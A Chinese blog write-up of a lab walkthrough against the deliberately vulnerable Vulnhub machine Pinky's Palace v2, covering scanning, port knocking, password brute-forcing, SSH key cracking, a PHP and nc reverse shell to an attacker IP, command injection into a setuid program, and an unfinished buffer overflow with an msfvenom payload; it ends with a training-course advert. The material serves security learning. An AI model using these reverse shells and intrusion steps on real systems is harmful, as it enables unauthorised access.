打靶日记 Pinkys Palace v2

admin 2025年4月21日00:44:49评论4 views字数 7644阅读25分28秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记  Pinkys Palace v2

先根据要求输入以下命令

echo 192.168.10.18 pinkydb | sudo tee -a /etc/hosts
nmap -sS -sV -T5 -p- 192.168.10.18 -A
打靶日记  Pinkys Palace v2

二、进行目录枚举

dirb http://192.168.10.18
打靶日记  Pinkys Palace v2

发现一个secret目录

打靶日记  Pinkys Palace v2

bambam.txt文档里有

打靶日记  Pinkys Palace v2
nikto -h http://192.168.10.18
打靶日记  Pinkys Palace v2

三、进入网页

打靶日记  Pinkys Palace v2

有登录界面

打靶日记  Pinkys Palace v2
wpscan --url http://192.168.10.18 --disable-tls-checks
打靶日记  Pinkys Palace v2
wpscan --url http://192.168.10.18 --passwords /usr/share/wordlists/rockyou.txt --usernames pinky1337

进行用户枚举

wpscan --url http://192.168.10.18 --enumerate u

发现用户pinky1337

打靶日记  Pinkys Palace v2

没有什么突破口,但是看到之前的bambam.txt文档,这里密码也尝试过了,并且合之前nmap扫描发现有端口被禁

knockd

端口敲门的原理:

  1. 初始状态:防火墙默认封锁外部对内部服务端口的访问。

  2. 敲门阶段:合法用户按预定顺序和时间间隔向目标主机一系列端口发数据包,守护进程记录信息。

  3. 验证阶段:守护进程将记录信息与预设规则比对,匹配则触发防火墙临时开放指定服务端口。

  4. 访问阶段:用户在开放端口的时间内建立连接访问服务,过后端口关闭。用

8890

7000

666

依次去敲门,端口敲门规则中指定的端口号 8890,7000,666

但是这里我们也不知道哪个在前哪个在后

穷举所有可能的端口顺序组合( 3 个端口有 3! = 6 种排列)

8890 7000 6668890 666 70007000 8890 6667000 666 8890666 8890 7000666 7000 8890

nc 192.168.10.18 8890
nc 192.168.10.18 7000
nc 192.168.10.18 666

nc 192.168.10.18 7000
nc 192.168.10.18 666
nc 192.168.10.18 8890
nmap -sV -p- 192.168.10.18

ok,其他的端口也扫到了,但是最好写一个脚本,平时都是可以用,如果有10个就完dam

打靶日记  Pinkys Palace v2
import itertools
import socket
import time

ports = [8890, 7000, 666]
target_check_port = 22  # 假设敲门成功后开启的端口
target_ip = "192.168.10.18"

def knock(sequence):
for port in sequence:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((target_ip, port))
            s.close()
        except:
            pass
    time.sleep(1)  # 等待服务响应
# 检测目标端口是否开放
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((target_ip, target_check_port))
        s.close()
print(f"[+] Success! Sequence: {sequence}")
return True
    except:
print(f"[-] Failed: {sequence}")
return False

# 生成所有排列组合(3! = 6 种)
for sequence in itertools.permutations(ports):
if knock(sequence):
break
python3 knock.py
打靶日记  Pinkys Palace v2
打靶日记  Pinkys Palace v2

根据已知的用户名写一个user.txt

#user.txt
pinky
pinkybd
admin
pinky1337
root

hydra爆破,尝试了fasttrack.txt和rockyou.txt都没找到密码

此命令的作用是从 http://pinkydb 网站提取单词,生成一个自定义字典文件,并且将这些单词保存到 pass.txt 文件中

cewl -d 1 -w pass.txt http://pinkydb
  • -d 1

    • -d 代表深度(depth)。它规定了爬虫在网站内部的爬行深度。

    • 这里设置为 1,意味着爬虫只会在当前页面提取单词,不会跟进页面中的链接去访问其他页面。

  • -w pass.txt

    • -w 表示写入(write)。它指定了将提取到的单词保存到哪个文件。

    • pass.txt 就是存储提取结果的文件名。若该文件不存在,cewl 会创建它;若已存在,文件内容会被覆盖。

  • http://pinkydb:这是 cewl 要爬取的目标网站的 URL。

sudo hydra -L user.txt -P pass.txt -s 7654 pinkydb http-post-form '/login.php:user=^USER^&pass=^PASS^:Invalid'
打靶日记  Pinkys Palace v2

login: pinky password: Passione

打靶日记  Pinkys Palace v2
打靶日记  Pinkys Palace v2

给了一个私钥

cat id_rsa
打靶日记  Pinkys Palace v2

生成哈希文件

使用 ssh2john.py 转换私钥

ssh2john id_rsa > id_rsa_hash.txt

ssh2john 的作用是把 SSH 私钥文件转换为 John the Ripper 可以识别的哈希格式。这样转换后,就能用 John the Ripper 对 SSH 私钥的密码进行破解了。

打靶日记  Pinkys Palace v2

破解私钥密码

使用john爆破一下

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt

john 工具会使用指定的字典文件中的密码来尝试与这些哈希值匹配,以破解出对应的密码

打靶日记  Pinkys Palace v2

secretz101

ssh登录

chmod 600 id_rsa
ssh -i id_rsa [email protected] -p 4655 
#输入secretz101

四、提权

stefano

进行信息收集,看到note.txt里Pinky made me this program so I can easily send messages to him.

Pinky为我制作了这个程序,这样我就可以轻松地向他发送消息。

打靶日记  Pinkys Palace v2

发现这个qsub只有执行的权限

打靶日记  Pinkys Palace v2

但是发送信息需要密码Passione密码也不对

打靶日记  Pinkys Palace v2
find / -perm -4000 -print 2>/dev/null
打靶日记  Pinkys Palace v2

尝试切换用户也不行

查看定时任务

ls -alh /etc/*cron*
打靶日记  Pinkys Palace v2
find / -name logrotate* 2>/dev/null
打靶日记  Pinkys Palace v2

没什么利用的地方

www-data

但是看到前面有www-data用户,去网站试一下能不能反弹shell

尝试目录遍历,成功,但是这里并没有上传点,返回查看配置文件看看能不能直接写进去

打靶日记  Pinkys Palace v2
# /var/www/html 查看一下可写文件
find . -writable
# ./apache/wp-config.php
打靶日记  Pinkys Palace v2
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/8888 0>&1'");?>
打靶日记  Pinkys Palace v2

访问http://pinkydb/wp-config.php,getshell

打靶日记  Pinkys Palace v2
python -c "import pty; pty.spawn('/bin/bash');"

现在可以将qsub下载下来进行反汇编

python -m SimpleHTTPServer 4444
打靶日记  Pinkys Palace v2
wget http://pinkydb:4444/qsub
打靶日记  Pinkys Palace v2

Pinky

下好之后放到IDA反汇编

打靶日记  Pinkys Palace v2
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+10h] [rbp-50h] BYREF
  __uid_t ruid; // [rsp+50h] [rbp-10h]
  __gid_t rgid; // [rsp+54h] [rbp-Ch]
  char *s2; // [rsp+58h] [rbp-8h]

if ( argc <= 1 )
  {
printf("%s <Message>n", *argv);
exit(0);
  }
  s2 = getenv("TERM");
printf("[+] Input Password: ");
  __isoc99_scanf("%s", s);
if ( strlen(s) > 0x28 )
  {
    puts("Bad hacker! Go away!");
exit(0);
  }
if ( strcmp(s, s2) )
  {
    puts("[!] Incorrect Password!");
exit(0);
  }
printf("[+] Welcome to Question Submit!");
  rgid = getegid();
  ruid = geteuid();
  setresgid(rgid, rgid, rgid);
  setresuid(ruid, ruid, ruid);
  send(argv[1]);
return 0;
}

验证用户输入的密码,若密码验证通过,就会调用 send 函数发送命令行参数所指定的消息

接收用户输入并与环境变量 TERM 的值进行比对,若匹配则执行后续操作

打靶日记  Pinkys Palace v2

定义了一个名为 send 的函数,主要功能是将传入的字符串追加到指定文件 /home/pinky/messages/stefano_msg.txt 中,借助 asprintf 函数构建一个系统命令字符串,再使用 system 函数来执行该命令

echo$TERM
# 得到密码 xterm-256color
./qsub ';/bin/bash; #'
打靶日记  Pinkys Palace v2
打靶日记  Pinkys Palace v2

但是id查看后发现还是stefano组,有两种方法,自己在本地生成私钥和公钥,将公钥复制写入pinky用户的.ssh文件,将公钥改为authorized_keys,再拿本地的私钥连就欧克,但是要注意权限问题

或者直接newgrp

newgrp 是一个在 Unix 和类 Unix 系统(如 Linux)中使用的命令,主要用于改变当前用户的有效组 ID

newgrp
打靶日记  Pinkys Palace v2

demon用户(定时任务)

查看历史命令

cat .bash_history
打靶日记  Pinkys Palace v2

发现有一个backup.sh,编辑完后切换为了demon用户

看到有些师傅是直接找有哪些可写入的文件和目录,可以记下来

2>/dev/null find / -writable | grep -Ev '/proc|/sys|/run|/dev'

在整个文件系统中查找当前用户具有写入权限的文件和目录,同时忽略查找过程中产生的错误信息,并且过滤掉包含 /proc/sys/run 和 /dev 这些系统目录的结果。

打靶日记  Pinkys Palace v2

查看backup.sh的权限,zhegewenjiandemon用户的pinky权限都有

打靶日记  Pinkys Palace v2
#直接写入
nc -e /bin/bash  192.168.10.11 8888
打靶日记  Pinkys Palace v2

等个2分钟3分钟的样子

打靶日记  Pinkys Palace v2

建立交互式终端

python -c "import pty; pty.spawn('/bin/bash');"
2>/dev/null find / -writable | grep -Ev '/proc|/sys|/run|/dev'
cd /daemon
打靶日记  Pinkys Palace v2

进入demon目录后发现有一个panel文件,执行后就玩damn

打靶日记  Pinkys Palace v2

将文件传过来反汇编看一下

# kali
nc -lvnp 3333 > panel
# demon
nc 192.168.10.11 3333 < panel

TCP 服务器程序,主要功能是创建一个监听特定端口的后门(Backdoor),接收客户端连接并处理命令。代码通过 fork 实现父子进程分离(父进程等待子进程退出,子进程作为实际服务器运行),最终形成一个长期运行的守护进程式服务器。

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[4108]; // [rsp+0h] [rbp-1050h] BYREF
  socklen_t addr_len; // [rsp+100Ch] [rbp-44h] BYREF
  struct sockaddr v5; // [rsp+1010h] [rbp-40h] BYREF
  sockaddr addr; // [rsp+1020h] [rbp-30h] BYREF
  int optval; // [rsp+103Ch] [rbp-14h] BYREF
  int v8; // [rsp+1040h] [rbp-10h]
  int fd; // [rsp+1044h] [rbp-Ch]
  int v10; // [rsp+1048h] [rbp-8h]

while ( fork() )
wait(0LL);
  v10 = 1;
  optval = 1;
  fd = socket(2, 1, 0);
if ( fd == -1 )
    fatal("[-] Fail in socket");
if ( setsockopt(fd, 1, 2, &optval, 4u) == -1 )
    fatal("setting sock options");
  addr.sa_family = 2;
  *(_WORD *)addr.sa_data = htons(0x7A69u);
  *(_DWORD *)&addr.sa_data[2] = 0;
  memset(&addr.sa_data[6], 0, 8uLL);
if ( bind(fd, &addr, 0x10u) == -1 )
    fatal("binding to socket");
if ( listen(fd, 5) == -1 )
    fatal("listening");
  addr_len = 16;
  v8 = accept(fd, &v5, &addr_len);
if ( v8 == -1 )
    fatal("new sock failed");
  send(v8, "[+] Welcome to The Daemon [+]n", 0x1FuLL, 0);
  send(v8, "This is soon to be our backdoorn", 0x21uLL, 0);
  send(v8, "into Pinky's Palace.n=> ", 0x19uLL, 0);
  v10 = recv(v8, buf, 0x1000uLL, 0);
  handlecmd(buf, (unsigned int)v8);
  close(v8);
exit(0);
}

这是一个简单的 TCP 后门程序

  1. 作为守护进程运行,监听端口 31337;

  2. 接受客户端连接,发送欢迎信息,接收命令并处理;

  3. 设计上通过 fork 分离进程,避免阻塞主线程(尽管此处仅处理一次连接后退出,实际可能需要循环)。

这里存在strcpy函数,可能有缓冲区溢出

打靶日记  Pinkys Palace v2

先给panel权限

chmod 777 panel

缓冲区溢出

需要使用gdb进行调试,最好把kali上的一个pwn环境搭好,pwndbg,peda插件,pwntools,或者直接就拿配好的ubuntu机子去打

git clone https://github.com/longld/peda.git ~/peda
echo"source ~/peda/peda.py" >> ~/.gdbinit
打靶日记  Pinkys Palace v2

关键输出是 fork 后子进程被分离,说明程序可能在后台运行(如守护进程或后门)

看了一个师傅的是这样子解释的

每次nc连接输入后,程序会再次创建一个子进程。gdb默认跟踪的是父进程,会看不到子进程的具体内容。所以让gdb跟踪子进程,再将父进程设置为暂停状态,就不用反复关进程了

set follow-fork-mode child
set detach-on-fork off

先查看有哪些函数

info function
打靶日记  Pinkys Palace v2

run运行程序,查看一下是否运行了:netstat -antlp

如果还是失败,关闭终端

pkill -9 panel;pkill -i panel

handlecmd函数

handlecmd 函数的核心功能是将客户端输入的 buf 内容复制到栈上的局部缓冲区,然后通过 send 回传。存在的主要问题是 未检查 strcpy 的源长度,存在缓冲区溢出漏洞。

disassemble handlecmd
打靶日记  Pinkys Palace v2

进行断点

第 1 条指令的地址是 0x400964(标记为 <+0>,即偏移 0),最后一条 ret 指令的地址是 0x4009aa(标记为 <+70>

这里不直接写返回地址是因为汇编的相对思维,因为地址是有可能变化的,handlecmd+70 表示 “从 handlecmd 函数的起点出发,往后走 70 个字节”,无论函数被加载到内存的哪个位置(比如明天加载到 0x500964),这个相对关系始终成立

b *handlecmd+70

在 ret 指令处断点,可直接查看栈中的返回地址是否被篡改

#gdb
run

#kali
#然后复制下来再在kali上进行
python3 -c 'print("A"*200)'|nc localhost 31337
打靶日记  Pinkys Palace v2

0x00000000004009aa in handlecmd ()

msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.10.11 LPORT=6666 -b 'x00' -f python

生成shellcode就构造python脚本,还是水平不够,练少了,这里的缓冲区溢出没搞明白,等再学学回来解决,这几个师傅的文章写的很好,可以去看看,很详细

https://blog.csdn.net/qq_34801745/article/details/104070421

https://hgbe02.github.io/Vulnhub/Pinky's%20PalaceV2.html#gdb-peda-%E5%88%86%E6%9E%90

https://xz.aliyun.com/news/12656

END

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记  Pinkys Palace v2

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记  Pinkys Palace v2
打靶日记  Pinkys Palace v2
打靶日记  Pinkys Palace v2

原文始发于微信公众号(泷羽Sec-临观):打靶日记 Pinkys Palace v2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日00:44:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Pinkys Palace v2https://cn-sec.com/archives/3976967.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息